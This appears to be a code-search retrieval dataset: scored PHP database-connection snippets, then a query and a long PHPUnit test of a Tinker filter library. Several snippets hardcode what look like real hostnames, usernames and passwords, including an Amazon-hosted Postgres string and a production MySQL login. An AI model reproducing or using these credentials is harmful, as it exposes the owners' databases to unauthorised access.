in freetds.conf per web server (Alchemist: /etc/freetds/freetds.conf ; Coloweb2: /usr/local/etc/freetds.conf )\n\t\t$user = 'PCH4_w3b5-Usr6';\n\t\t$pass = 'p33c33aitch_w3b-p455';\n\t\ttry\n\t\t{\n\t\t\t$string = \"dblib:host=$host;dbname=$db\";\n\t\t\t$connect = new PDO($string, $user, $pass);\n\t\t}\n\t\tcatch (PDOException $e)\n\t\t{\n\t\t //return $e->getMessage();\n\t\t\tthrow new Exception ('Unable to Connect to Resq; ' . $e->getMessage());\n\t\t}\n\t\t\n\t\t//be sure to catch all exceptions if below is true...\n\t\t$connect->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\treturn $connect;\n\t}", "title": "" }, { "docid": "3f3fc87bf22bb41f39b2f0ebe9839441", "score": "0.53369015", "text": "public abstract function connect($h,$u,$p,$db);", "title": "" }, { "docid": "7b818b348c0d3efa7d8a86ba4f3223b4", "score": "0.5329063", "text": "function db_connect(){\n\n $servername = \"localhost\";\n $dbusername = \"root\";\n $dbpassword = \"\";\n $dbname = \"userDB\";\n $dbh = new PDO( \"mysql:host=$servername;dbname=$dbname;\", $dbusername, $dbpassword );\n return $dbh;\n\n}", "title": "" }, { "docid": "8b2f7e3e194f6c437635530adc0c33d8", "score": "0.5324936", "text": "function DB_connect($datafeed_db_host,$datafeed_db,$datafeed_db_user,$datafeed_db_pwd)\n{\n\n try\n {\n $db = new PDO(\"mysql:host=$datafeed_db_host;dbname=$datafeed_db\", $datafeed_db_user, $datafeed_db_pwd);\n $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n if ($debug)\n {\n logline(\"INFO\",\"Connection Established\");\n } return $db;\n }\n catch(PDOException $e)\n {\n logline(\"MySQL Error\", 'My SQL Database connection Failure:' . $e->getMessage() . \"<br/>\");\n die();\n }\n}", "title": "" }, { "docid": "421d4028e0301d1e05cf14096567ca14", "score": "0.53246343", "text": "function pg_connection_string() {\n return \"dbname=d4imdcvrvsso7n host=ec2-107-21-101-4.compute-1.amazonaws.com port=5432 user=awwcahtklxtuzy password=2A_Y4JoOaVtHqOL1tMeS6AgIHU sslmode=require\";\n}", "title": "" }, { "docid": "ed1bd1c38f651804b84b6ecf9a9e6909", "score": "0.5324206", "text": "function dbConnect($usertype, $connectionType = 'mysqli') {\n global $connection;\n //$host = 'vrvTest.db.11732073.hostedresource.com';\n $host = 'vrvprod.vogtrv.com';\n $db = 'vrvprod';\n \n if ($usertype == 'read') {\n $user = 'miller18';\n $pwd = '!2Rbaayyeg318';\n } elseif ($usertype == 'write') {\n $user = 'miller18';\n $pwd = '!2Rbaayyeg318';\n } else {\n exit('Unrecognized connection type');\n }\n \n if ($connectionType == 'mysqli') {\n $connection = new mysqli($host, $user, $pwd, $db) or die ('Cannot open database');\n return $connection;\n } else {\n try {\n return new PDO(\"mysql:host=$host;dbname=$db\", $user, $pwd);\n } catch (PDOException $e) {\n echo 'Cannot connect to database';\n exit;\n }\n }\n}", "title": "" }, { "docid": "1f7d699c45e1d571705aadab4babc760", "score": "0.5318268", "text": "public function connect()\n {\n\n var_dump($this->pdo);\n try {\n $this->pdo = new PDO(\"sqlite:\" . PATH_TO_SQLITE_FILE);\n $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n } catch (PDOException $e) {\n // handle the exception here\n echo \"Ket noi that bai <-\" . $e;\n }\n\n echo \"ket noi db sqlite thanh cong\" . PHP_EOL;\n }", "title": "" }, { "docid": "d540a2890294be850d5d1ed3136f1ced", "score": "0.53116494", "text": "public function connect(){\r\n\t\t// with PDO\r\n\t\t\r\n\t\tif($this->pdo){\r\n\t\t\ttry {\r\n\t\t\t\t$this->db = new PDO('oci:dbname='.$this->serv.';charset=WE8ISO8859P1', $this->user, $this->pswd);\r\n\t\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\tcatch (PDOException $e) {\r\n\t\t\t\t$this->error = $e->getMessage();\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\t// with oci8_\r\n\t\telse{\r\n\t\t\t$this->db = @oci_connect($this->user, $this->pswd, $this->serv);\r\n\t\t\tif($this->db) return true;\r\n\t\t\t$e = oci_error($this->qu);\r\n\t\t\t$this->error = $e['message'];\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "efa48d5d2b216a3070871079d49e7fa4", "score": "0.53112245", "text": "function db_connect($database_host, $database_user, $database_password, $database, $database_persistent)\r\n{\r\n\tglobal $CONFIG;\r\n\t$db = &ADONewConnection($CONFIG['db_type']);\r\n\t//print_r($db); echo(\"<br /><br />\");\r\n\t$db->autoRollback = true; // rollback advised in PHP Manual (default is FALSE)\r\n\t// use postgres7 usual connection through single host parameter\r\n\tif($CONFIG['db_type'] == \"postgres7\") \r\n\t{\r\n\t\t$db->PConnect(\"host=$database_host port=$CONFIG[database_port] dbname=$database\");\r\n\t}\r\n\telseif($database_persistent == 1) \r\n\t{\r\n\t\t$db->PConnect($database_host, $database_user, $database_password, $database);\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$db->Connect($database_host, $database_user, $database_password, $database);\r\n\t}\r\n\treturn $db;\r\n}", "title": "" }, { "docid": "6274e3c93a6e05740dc539de995bdf7a", "score": "0.5310928", "text": "function getConnection() {\n //Connect to Database\n $connection = oci_connect(\"RAJES\", \"David_123\", \"//localhost/xe\");\n\n if (!$connection) {\n $m = oci_error();\n echo $m['message'], \"\\n\";\n exit; }\n\n return $connection;\n\n}", "title": "" }, { "docid": "142ae9d6b13e2674d15fe7ec4b037be1", "score": "0.53108096", "text": "function sql_connect($database = false, $user, $password = false, $type = 'mysql', $host = 'localhost', $charset = 'utf8')\n {\n $options = array(PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ, PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING);\n $this->dbs = new PDO($type.':host='.$host.';dbname='.$database.';charset=' . $charset, $user, $password, $options);\n if (defined(EMULATED_SQL)) {$this->dbs->setAttribute(PDO::ATTR_EMULATE_PREPARES, EMULATED_SQL);}\n $this->dbs->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n }", "title": "" }, { "docid": "3aac9b87af37762d09374084d2c70507", "score": "0.5310208", "text": "function db_open() {\r\n global $app_file_root;\r\n require_once $app_file_root . '/library/config.php';\r\n $dsn = \"mysql:host=$db_host;dbname=$db_name\";\r\n $db_connection = new PDO($dsn, $db_username, $db_password);\r\n return $db_connection;\r\n}", "title": "" }, { "docid": "a00e82948905a2c1cdc4ce4519cfdd57", "score": "0.5308256", "text": "function testdb_connect ($host, $username, $password){\n $dbh = new PDO(\"mysql:host=$host;dbname=cse442_542_2020_spring_teamg_db\", $username, $password);\n return $dbh;\n}", "title": "" }, { "docid": "63fdc41d738dc91e6a59269aa7d239c4", "score": "0.5301628", "text": "function conexion()\r\n\t\t{\r\n\t\t\t$usuario = 'Games';\r\n\t\t\t$contrasena ='juan';\r\n\t\t\t$dbname='universe_game';\r\n\t\t\t$sgbd='mysql';\r\n\t\t\t$host ='localhost';\r\n\t\t\t$this->db = new PDO($sgbd.':host='.$host.';dbname='.$dbname,$usuario,$contrasena);\r\n\t\t}", "title": "" }, { "docid": "161468991f204df8fd6dd0c716c7cc13", "score": "0.5295172", "text": "private function __construct(){\n\t\t$dsn = \t'mysql:host=' . DbConf::read('db.host').\n\t\t\t\t\t ';dbname=' . DbConf::read('db.name').\n\t\t\t\t\t ';charset='. DbConf::read('db.char');\n\t\ttry{\t\t\n\t\t\t$this->pdo = new PDO( $dsn, DbConf::read('db.user'), DbConf::read('db.pswd') );\n\t\t\t$this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t\t$this->pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n\t\t}catch( PDOException $e ){\n\t\t\techo DEBUG ? 'PB with DB connection :'.$e->getMessage() : 'DB Exception';\n\t\t}\n\t}", "title": "" }, { "docid": "ce5de9094d8ea83bb15a5a729a4118ce", "score": "0.52897966", "text": "function open_sqlite_db($db_filename)\n{\n $db = new PDO('sqlite:' . $db_filename);\n $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n return $db;\n}", "title": "" }, { "docid": "3ed5a690326e19c22018314b4069fbbf", "score": "0.5289073", "text": "function getConnection() {\n $dbhost=\"database\";\n $dbuser=\"root\";\n $dbpass=\"1234\";\n// $dbname=\"Example\";\n $dbname=\"product_list\";\n $port = \"3306\";\n $dbh = new PDO(\"mysql:host=$dbhost;port={$port};dbname=$dbname;charset=utf8\", $dbuser, $dbpass);\n $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n //var_dump( $dbh );\n //print_r( $dbh );\n return $dbh;\n}", "title": "" }, { "docid": "db0c77a16b82b69e11f5c91191049a77", "score": "0.5284397", "text": "protected function initConnection($pdo)\n {\n $driver=strtolower($pdo->getAttribute(PDO::ATTR_DRIVER_NAME));\n if(in_array($driver,array('pgsql','mysql','mysqli')))\n $pdo->exec('SET NAMES '.$pdo->quote('UTF8'));\n }", "title": "" }, { "docid": "d1cb991e172ba74c7be27f31a8a5d41d", "score": "0.5279804", "text": "function db_connect()\n{\n\n $username = \"3347591_tayla\";\n $password = \"Miguelevivian@12\";\n\n $conn = new PDO('mysql:host=fdb18.awardspace.net;dbname=3347591_tayla', $username, $password);\n// \n return $conn;\n}", "title": "" }, { "docid": "73fc968ac0573f6f09c6a5cde52edac8", "score": "0.52787423", "text": "private function __construct()\n {\n $this->conn = new PDO(\"mysql:host={$this->host};\n dbname={$this->name}\", $this->user,$this->pass,\n array(PDO::MYSQL_ATTR_INIT_COMMAND => \"SET NAMES 'utf8'\"));\n }", "title": "" }, { "docid": "06da9c88e261742d11fe2d7698e0c470", "score": "0.5274761", "text": "public function __construct() {\n $this->_dsn = new PDO('mysql:host=10.211.55.101;dbname=vtown_goods', 'goods', '123456aA!');\n }", "title": "" }, { "docid": "8ca7b0e88704d86d34b86d00086f7cc0", "score": "0.52716136", "text": "function pdo_connect_mysql() {\r\n $DATABASE_HOST = 'localhost';\r\n $DATABASE_USER = 'root';\r\n $DATABASE_PASS = '';\r\n $DATABASE_NAME = 'redstore';\r\n try {\r\n\treturn new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);\r\n } catch (PDOException $exception) {\r\n\t// If there is an error with the connection, stop the script and display the error.\r\n\tdie ('Failed to connect to database!');\r\n }\r\n}", "title": "" }, { "docid": "b7e31ab2125c25a580d3bb7c5a686430", "score": "0.52687174", "text": "function __construct()\r\n\t{\r\n\t\t$this->db = new PDO('mysql:host=localhost; dbname=wdv441_2018; charset=utf8', 'wdv441', 'wdv441');\r\n\t}", "title": "" }, { "docid": "6d9367b23f693a8bbff763d72453d77d", "score": "0.5267163", "text": "function init_database() {\n global $WZDE;\n // connect to the database\n\ttry {\n $WZDE['dbh'] = new PDO('mysql:host=ATDMariaDBLive.meditech.com;dbname=' . DB_NAME, DB_USER, DB_PASS, array (\n PDO :: ATTR_PERSISTENT => true,\n PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION\n )\n );\n }\n\tcatch( PDOException $e ) {\n\t\tdie( \"Error connecting to SQL Server\" . $e); \n\t}\n}", "title": "" }, { "docid": "a822406de6f56492127f854c17d1d090", "score": "0.5266783", "text": "public function connect(){ \n $this->connection = pg_connect(\"host=$this->host dbname=$this->dbname user=$this->user password=$this->password\");\n if(!$this->connection){\n die(\"Could not connect to server!\".PHP_EOL);\n } \n }", "title": "" }, { "docid": "a3d30878205c09b739698a884a0128c1", "score": "0.52659667", "text": "function connectDB() {\n $servername = \"localhost\";\n $username = \"muhammad.fadhillah\";\n $password = \"\";\n $dbname = \"muhammad.fadhillah\";\n $portno = \"5432\";\n\n // Create connection\n $conn_string = \"host=\".$servername.\" port=\".$portno.\" dbname=\".$dbname.\" user=\".$username.\" password=\".$password;\n $conn = pg_connect($conn_string);\n\n // Check connection\n if (!$conn) {\n die(\"Connection failed: \" + $conn->errorMsg());\n }\n\n return $conn;\n }", "title": "" } ]
16ba4c5fefe224e5c7fe46934eda4836
Call filter using method
[ { "docid": "a516a6039aba55c5a10ca73c8a0fee27", "score": "0.0", "text": "public function test_filters()\n {\n $this->assertNull($this->null->_('convert', 'string')->return());\n $this->assertSame('123', $this->int->_('convert', 'string')->return());\n\n // Reflector::convert\n $this->assertNull($this->null->convert('string')->return());\n $this->assertSame('123', $this->int->convert('string')->return());\n $this->assertSame(true, Tinker::with(1)->convert('bool'));\n\n // Utils::isBlank\n $this->assertTrue($this->null->isBlank());\n $this->assertFalse($this->int->isBlank());\n\n // Utils::bvl\n $this->assertSame('(blank)', $this->null->bvl('(blank)')->return());\n $this->assertSame(123, $this->int->bvl('(blank)')->return());\n $this->assertSame(true, Tinker::with(true)->bvl('(blank)'));\n\n // Utils::isEmpty\n $this->assertTrue($this->null->isEmpty());\n $this->assertFalse($this->int->isEmpty());\n\n // Utils::evl\n $this->assertSame('(empty)', $this->null->evl('(empty)')->return());\n $this->assertSame(123, $this->int->evl('(empty)')->return());\n $this->assertSame(true, Tinker::with(true)->evl('(empty)'));\n\n // Strings::lcut\n $this->assertNull($this->null->lcut(4)->return());\n $this->assertSame('ebet', $this->string->lcut(7)->return());\n\n // Strings::rcut\n $this->assertNull($this->null->rcut(4)->return());\n $this->assertSame('Hell', $this->string->rcut(7)->return());\n\n // Strings::clip\n $this->assertNull($this->null->clip(4)->return());\n $this->assertSame('Hell...', $this->string->clip(7)->return());\n $this->assertSame('Hello R', $this->string->clip(7, '')->return());\n $this->assertSame('Hell《略》', $this->string->clip(7, '《略》')->return());\n\n // Strings::indent\n $this->assertNull($this->null->indent('> ')->return());\n $this->assertSame(\"> Hello\\n> Rebet\", $this->text->indent('> ')->return());\n\n // Strings::ltrim\n $this->assertNull($this->null->ltrim('He')->return());\n $this->assertSame(\"llo Rebet\", $this->string->ltrim('He')->return());\n\n // Strings::rtrim\n $this->assertNull($this->null->rtrim('et')->return());\n $this->assertSame(\"Hello Reb\", $this->string->rtrim('et')->return());\n\n // Strings::trim\n $this->assertNull($this->null->trim()->return());\n $this->assertSame(\" trim \", Tinker::with('  trim  ')->trim()->return());\n\n // Strings::mbtrim\n $this->assertNull($this->null->mbtrim()->return());\n $this->assertSame(\"trim\", Tinker::with('  trim  ')->mbtrim()->return());\n\n // Strings::startsWith\n $this->assertSame(true, $this->string->startsWith('Hello'));\n $this->assertSame(false, $this->string->startsWith('Rebet'));\n\n // Strings::endsWith\n $this->assertSame(false, $this->string->endsWith('Hello'));\n $this->assertSame(true, $this->string->endsWith('Rebet'));\n\n // Strings::contains\n $this->assertSame(true, $this->string->contains('o R'));\n $this->assertSame(false, $this->string->contains('foo'));\n\n // Strings::match\n $this->assertSame(true, $this->string->match('/^He/'));\n $this->assertSame(false, $this->string->match('/foo/'));\n\n // Strings::wildmatch\n $this->assertSame(true, $this->string->wildmatch('He*'));\n $this->assertSame(false, $this->string->wildmatch('Foo*'));\n\n // Strings::split\n $this->assertSame(['Hello', 'Rebet', null], $this->string->split(' ', 3)->return());\n\n\n // Arrays::pluck\n $this->assertSame(['Foo', 'Bar', 'Baz', 'Qux', 'Quxx'], $this->rs->pluck('first_name')->return());\n\n // Arrays::override\n $this->assertSame(\n ['foo' => 'foo', 'parent' => null, 'number' => 123, 'gender' => Gender::MALE(), 'boolean' => true],\n $this->map->override(['foo' => 'foo', 'parent=' => null])->return()\n );\n\n // Arrays::duplicate\n $this->assertSame([2, 3], Tinker::with([1, 2, 2, 3, 4, 3])->duplicate()->return());\n\n // Arrays::crossJoin\n $this->assertSame([[1, 'a'], [1, 'b'], [2, 'a'], [2, 'b']], Tinker::with([1, 2])->crossJoin(['a', 'b'])->return());\n\n // Arrays::only\n $this->assertSame(['foo' => 'FOO', 'number' => 123], $this->map->only(['foo', 'number'])->return());\n\n // Arrays::except\n $this->assertSame(['foo' => 'FOO', 'number' => 123, 'boolean' => true], $this->map->except(['parent', 'gender'])->return());\n\n // Arrays::where\n $this->assertSame(['foo' => 'FOO', 'number' => 123, 'boolean' => true], $this->map->where(function ($v, $k) { return is_scalar($v); })->return());\n\n // Arrays::compact\n $this->assertSame([0 => 1, 2 => 3], Tinker::with([1, null, 3])->compact()->return());\n\n // Arrays::unique\n $this->assertSame([0 => 1, 2 => 2, 3 => 3], Tinker::with([1, 1, 2, 3, '3'])->unique()->return());\n\n // Arrays::first\n $this->assertSame(1, Tinker::with([1, 2, 3])->first()->return());\n $this->assertSame(true, Tinker::with([true, 1, 2, 3])->first());\n\n // Arrays::last\n $this->assertSame(3, Tinker::with([1, 2, 3])->last()->return());\n $this->assertSame(false, Tinker::with([1, 2, 3, false])->last());\n\n // Arrays::flatten\n $this->assertSame([1, 'a', 'b', 3], Tinker::with([1, ['a', 'b'], 3])->flatten()->return());\n\n // Arrays::prepend\n $this->assertSame(['a', 1, 2, 3], Tinker::with([1, 2, 3])->prepend('a')->return());\n\n // Arrays::shuffle\n for ($i = 0 ; $i < 10 ; $i++) {\n if ([1, 2, 3, 4] != Tinker::with([1, 2, 3, 4])->shuffle()->return()) {\n break;\n }\n }\n if ($i === 10) {\n $this->fail(\"Tinker::shuffle failed.\");\n } else {\n $this->assertTrue(true);\n }\n\n // Arrays::map\n $this->assertSame([2, 4, 6], Tinker::with([1, 2, 3])->map(function ($v, $k) { return $v * 2; })->return());\n\n // Arrays::reduce\n $this->assertSame(6, Tinker::with([1, 2, 3])->reduce(function ($c, $i) { return $c + $i; }, 0)->return());\n $this->assertSame(true, Tinker::with([1, 2, 3])->reduce(function ($c, $i) { return $c && ($i < 10); }, true));\n\n // Arrays::diff\n $this->assertSame([1 => 2], Tinker::with([1, 2, 3])->diff([1, 3, 4])->return());\n\n // Arrays::intersect\n $this->assertSame([0 => 1, 2 => 3], Tinker::with([1, 2, 3])->intersect([1, 3, 4])->return());\n\n // Arrays::every\n $this->assertSame(false, Tinker::with([1, 2, 3])->every(function ($v) { return $v % 2 === 1; }));\n\n // Arrays::groupBy\n $this->assertSame([\n 1 => [\n ['rating' => 1, 'url' => 'a'],\n ['rating' => 1, 'url' => 'b'],\n ],\n 2 => [\n ['rating' => 2, 'url' => 'b'],\n ],\n ], Tinker::with([\n ['rating' => 1, 'url' => 'a'],\n ['rating' => 1, 'url' => 'b'],\n ['rating' => 2, 'url' => 'b'],\n ])->groupBy('rating')->return());\n\n // Arrays::union\n $this->assertSame(['name' => 'Hello', 'id' => 1], Tinker::with(['name' => 'Hello'])->union(['name' => 'World', 'id' => 1])->return());\n\n // Arrays::min\n $this->assertSame(-2, Tinker::with([1, 2, 5, -2, 4])->min()->return());\n $this->assertSame(false, Tinker::with([false, true])->min());\n\n // Arrays::max\n $this->assertSame(5, Tinker::with([1, 2, 5, -2, 4])->max()->return());\n $this->assertSame(true, Tinker::with([false, true])->max());\n\n // Arrays::sort\n $this->assertSame([1 => 1, 3 => 2, 2 => 3, 0 => 4], Tinker::with([4, 1, 3, 2])->sort()->return());\n\n // Arrays::sortBy\n $this->assertSame(\n [1 => ['age' => '8'], 2 => ['age' => '14'], 0 => ['age' => '23']],\n Tinker::with([['age' => '23'], ['age' => '8'], ['age' => '14']])->sortBy('age')->return()\n );\n\n // Arrays::sortKeys\n $this->assertSame(\n ['a' => 'A', 'b' => 'B', 'c' => 'C'],\n Tinker::with(['c' => 'C', 'a' => 'A', 'b' => 'B'])->sortKeys()->return()\n );\n\n // Arrays::sum\n $this->assertEquals(\"55\", Tinker::with(range(1, 10))->sum()->value()->return());\n\n // Arrays::avg\n $this->assertEquals(\"5.5\", Tinker::with(range(1, 10))->avg()->value()->return());\n\n // Arrays::median\n $this->assertEquals(\"5.5\", Tinker::with(range(1, 10))->median()->value()->return());\n\n // Arrays::mode\n $this->assertEquals([1, 4], Tinker::with([1, 2, 3, 4, 4, 5, 1])->mode()->return());\n\n // Arrays::implode\n $this->assertEquals('1, 2, 3', Tinker::with([1, 2, 3])->implode()->return());\n\n\n // Tinker.filter.customs.nvl\n $this->assertSame('(null)', $this->null->nvl('(null)')->return());\n $this->assertSame(123, $this->int->nvl('(null)')->return());\n $this->assertSame('(null)', $this->int->nothing->nvl('(null)')->return());\n\n // Tinker.filter.customs.default\n $this->assertSame('(null)', $this->null->default('(null)')->return());\n $this->assertSame(123, $this->int->default('(null)')->return());\n $this->assertSame('(null)', $this->int->nothing->default('(null)')->return());\n\n // Tinker.filter.customs.escape:html\n $this->assertNull($this->null->escape()->return());\n $this->assertSame('123', $this->int->escape()->return());\n $this->assertSame('Hello Rebet', $this->string->escape()->return());\n $this->assertSame('&lt;h1&gt;Hello Rebet&lt;/h1&gt;', $this->html->escape()->return());\n $this->assertSame('男性', $this->enum->escape()->return());\n\n // Tinker.filter.customs.escape:url\n $this->assertNull($this->null->escape('url')->return());\n $this->assertSame('Hello+Rebet', $this->string->escape('url')->return());\n $this->assertSame('%3Ch1%3EHello+Rebet%3C%2Fh1%3E', $this->html->escape('url')->return());\n\n // Tinker.filter.customs.nl2br\n $this->assertNull($this->null->nl2br()->return());\n $this->assertSame('Hello Rebet', $this->string->nl2br()->return());\n $this->assertSame(\"Hello<br />\\nRebet\", $this->text->nl2br()->return());\n\n // Tinker.filter.customs.datetimef\n $this->assertNull($this->null->datetimef('Ymd')->return());\n $this->assertSame('20010203', $this->datetime_o->datetimef('Ymd')->return());\n $this->assertSame('20010203', $this->datetime_s->datetimef('Ymd')->return());\n\n // Tinker.filter.customs.numberf\n $this->assertNull($this->null->numberf()->return());\n $this->assertSame('123', $this->int->numberf()->return());\n $this->assertSame('1,235', $this->float->numberf()->return());\n $this->assertSame('1,235', $this->float->numberf(0)->return());\n $this->assertSame('1,234.6', $this->float->numberf(1)->return());\n $this->assertSame('1,234.57', $this->float->numberf(2)->return());\n $this->assertSame('1,234.568', $this->float->numberf(3)->return());\n $this->assertSame('1,234.5678', $this->float->numberf(4)->return());\n $this->assertSame('1,234.56780', $this->float->numberf(5)->return());\n $this->assertSame('1,234.5678', $this->float->numberf(5, true)->return());\n $this->assertSame('1234.57', $this->float->numberf(2, false, '.', '')->return());\n $this->assertSame('1 234,57', $this->float->numberf(2, false, ',', ' ')->return());\n\n // Tinker.filter.customs.stringf\n $this->assertNull($this->null->stringf('%s')->return());\n $this->assertNull($this->null->stringf('[%s]')->return());\n $this->assertSame('[123]', $this->int->stringf('[%s]')->return());\n $this->assertSame('[000123]', $this->int->stringf('[%06d]')->return());\n $this->assertSame('[123.00]', $this->int->stringf('[%01.2f]')->return());\n $this->assertSame('[1234.57]', $this->float->stringf('[%01.2f]')->return());\n\n // Tinker.filter.customs.explode\n $this->assertNull($this->null->explode(' ')->return());\n $this->assertSame(['Hello', 'Rebet'], $this->string->explode(' ')->return());\n\n // Tinker.filter.customs.replace\n $this->assertNull($this->null->replace('/Hello/', 'Good by')->return());\n $this->assertSame('Good by Rebet', $this->string->replace('/Hello/', 'Good by')->return());\n\n // Tinker.filter.customs.lower\n $this->assertNull($this->null->lower()->return());\n $this->assertSame('hello rebet', $this->string->lower()->return());\n\n // Tinker.filter.customs.upper\n $this->assertNull($this->null->upper()->return());\n $this->assertSame('HELLO REBET', $this->string->upper()->return());\n\n // Tinker.filter.customs.decimal\n $this->assertNull($this->null->decimal()->return());\n $this->assertEquals(Decimal::of(123), $this->int->decimal()->return());\n $this->assertEquals(Decimal::of(\"12.3\"), Tinker::with(\"12.3\")->decimal()->return());\n\n // Tinker.filter.customs.abs\n $this->assertNull($this->null->abs()->return());\n $this->assertEquals(\"123\", Tinker::with(-123)->abs()->value()->return());\n\n // Tinker.filter.customs.eq\n $this->assertSame(false, $this->null->eq(null));\n $this->assertSame(false, $this->null->eq(1));\n $this->assertSame(true, $this->int->eq(123));\n $this->assertSame(true, $this->float->eq(1234.5678));\n $this->assertSame(false, $this->float->eq(1234.56789));\n $this->assertSame(true, $this->float->eq(1234.56789, 2));\n\n // Tinker.filter.customs.gt\n $this->assertSame(false, $this->null->gt(null));\n $this->assertSame(false, $this->null->gt(1));\n $this->assertSame(false, $this->int->gt(null));\n $this->assertSame(true, $this->int->gt(122));\n $this->assertSame(false, $this->int->gt(123));\n $this->assertSame(false, $this->int->gt(124));\n $this->assertSame(true, $this->float->gt(1234.56779));\n $this->assertSame(false, $this->float->gt(1234.5678));\n $this->assertSame(false, $this->float->gt(1234.56781));\n $this->assertSame(false, $this->float->gt(1234.56779, 2));\n $this->assertSame(false, $this->float->gt(1234.5678, 2));\n $this->assertSame(false, $this->float->gt(1234.56781, 2));\n\n // Tinker.filter.customs.gte\n $this->assertSame(false, $this->null->gte(null));\n $this->assertSame(false, $this->null->gte(1));\n $this->assertSame(false, $this->int->gte(null));\n $this->assertSame(true, $this->int->gte(122));\n $this->assertSame(true, $this->int->gte(123));\n $this->assertSame(false, $this->int->gte(124));\n $this->assertSame(true, $this->float->gte(1234.56779));\n $this->assertSame(true, $this->float->gte(1234.5678));\n $this->assertSame(false, $this->float->gte(1234.56781));\n $this->assertSame(true, $this->float->gte(1234.56779, 2));\n $this->assertSame(true, $this->float->gte(1234.5678, 2));\n $this->assertSame(true, $this->float->gte(1234.56781, 2));\n\n // Tinker.filter.customs.lt\n $this->assertSame(false, $this->null->lt(null));\n $this->assertSame(false, $this->null->lt(1));\n $this->assertSame(false, $this->int->lt(null));\n $this->assertSame(false, $this->int->lt(122));\n $this->assertSame(false, $this->int->lt(123));\n $this->assertSame(true, $this->int->lt(124));\n $this->assertSame(false, $this->float->lt(1234.56779));\n $this->assertSame(false, $this->float->lt(1234.5678));\n $this->assertSame(true, $this->float->lt(1234.56781));\n $this->assertSame(false, $this->float->lt(1234.56779, 2));\n $this->assertSame(false, $this->float->lt(1234.5678, 2));\n $this->assertSame(false, $this->float->lt(1234.56781, 2));\n\n // Tinker.filter.customs.lte\n $this->assertSame(false, $this->null->lte(null));\n $this->assertSame(false, $this->null->lte(1));\n $this->assertSame(false, $this->int->lte(null));\n $this->assertSame(false, $this->int->lte(122));\n $this->assertSame(true, $this->int->lte(123));\n $this->assertSame(true, $this->int->lte(124));\n $this->assertSame(false, $this->float->lte(1234.56779));\n $this->assertSame(true, $this->float->lte(1234.5678));\n $this->assertSame(true, $this->float->lte(1234.56781));\n $this->assertSame(true, $this->float->lte(1234.56779, 2));\n $this->assertSame(true, $this->float->lte(1234.5678, 2));\n $this->assertSame(true, $this->float->lte(1234.56781, 2));\n\n // Tinker.filter.customs.not\n $this->assertSame(true, $this->null->not());\n $this->assertSame(true, Tinker::with(false)->not());\n $this->assertSame(false, Tinker::with(true)->not());\n $this->assertSame(true, Tinker::with(0)->not());\n $this->assertSame(false, Tinker::with(1)->not());\n\n // Tinker.filter.customs.add\n $this->assertSame(null, $this->null->add(null)->value()->return());\n $this->assertSame(null, $this->null->add(1)->value()->return());\n $this->assertSame(null, $this->int->add(null)->value()->return());\n $this->assertSame('125', $this->int->add(2)->value()->return());\n\n // Tinker.filter.customs.sub\n $this->assertSame(null, $this->null->sub(null)->value()->return());\n $this->assertSame(null, $this->null->sub(1)->value()->return());\n $this->assertSame(null, $this->int->sub(null)->value()->return());\n $this->assertSame('121', $this->int->sub(2)->value()->return());\n\n // Tinker.filter.customs.mul\n $this->assertSame(null, $this->null->mul(null)->value()->return());\n $this->assertSame(null, $this->null->mul(1)->value()->return());\n $this->assertSame(null, $this->int->mul(null)->value()->return());\n $this->assertSame('246', $this->int->mul(2)->value()->return());\n\n // Tinker.filter.customs.div\n $this->assertSame(null, $this->null->div(null)->value()->return());\n $this->assertSame(null, $this->null->div(1)->value()->return());\n $this->assertSame(null, $this->int->div(null)->value()->return());\n $this->assertSame('61.5', $this->int->div(2)->value()->return());\n\n // Tinker.filter.customs.pow\n $this->assertSame(null, $this->null->pow(null)->value()->return());\n $this->assertSame(null, $this->null->pow(1)->value()->return());\n $this->assertSame(null, $this->int->pow(null)->value()->return());\n $this->assertSame('15129', $this->int->pow(2)->value()->return());\n\n // Tinker.filter.customs.sqrt\n $this->assertSame(null, $this->null->sqrt()->value()->return());\n $this->assertSame('3', Tinker::with(9)->sqrt()->value()->return());\n\n // Tinker.filter.customs.mod\n $this->assertSame(null, $this->null->mod(null)->value()->return());\n $this->assertSame(null, $this->null->mod(1)->value()->return());\n $this->assertSame(null, $this->int->mod(null)->value()->return());\n $this->assertSame('3', $this->int->mod(10)->value()->return());\n\n // Tinker.filter.customs.powmod\n $this->assertSame(null, $this->null->powmod(2, 10)->value()->return());\n $this->assertSame(null, $this->int->powmod(null, 10)->value()->return());\n $this->assertSame(null, $this->int->powmod(2, null)->value()->return());\n $this->assertSame('9', $this->int->powmod(2, 10)->value()->return());\n\n // Tinker.filter.customs.floor\n $this->assertNull($this->null->floor()->value()->return());\n $this->assertSame('1234', $this->float->floor()->value()->return());\n $this->assertSame('1234.56', $this->float->floor(2)->value()->return());\n $this->assertSame('1200', $this->float->floor(-2)->value()->return());\n\n // Tinker.filter.customs.round\n $this->assertNull($this->null->round()->value()->return());\n $this->assertSame('1235', $this->float->round()->value()->return());\n $this->assertSame('1234.57', $this->float->round(2)->value()->return());\n $this->assertSame('1200', $this->float->round(-2)->value()->return());\n\n // Tinker.filter.customs.ceil\n $this->assertNull($this->null->ceil()->value()->return());\n $this->assertSame('1235', $this->float->ceil()->value()->return());\n $this->assertSame('1234.57', $this->float->ceil(2)->value()->return());\n $this->assertSame('1300', $this->float->ceil(-2)->value()->return());\n\n // Tinker.filter.customs.dump\n 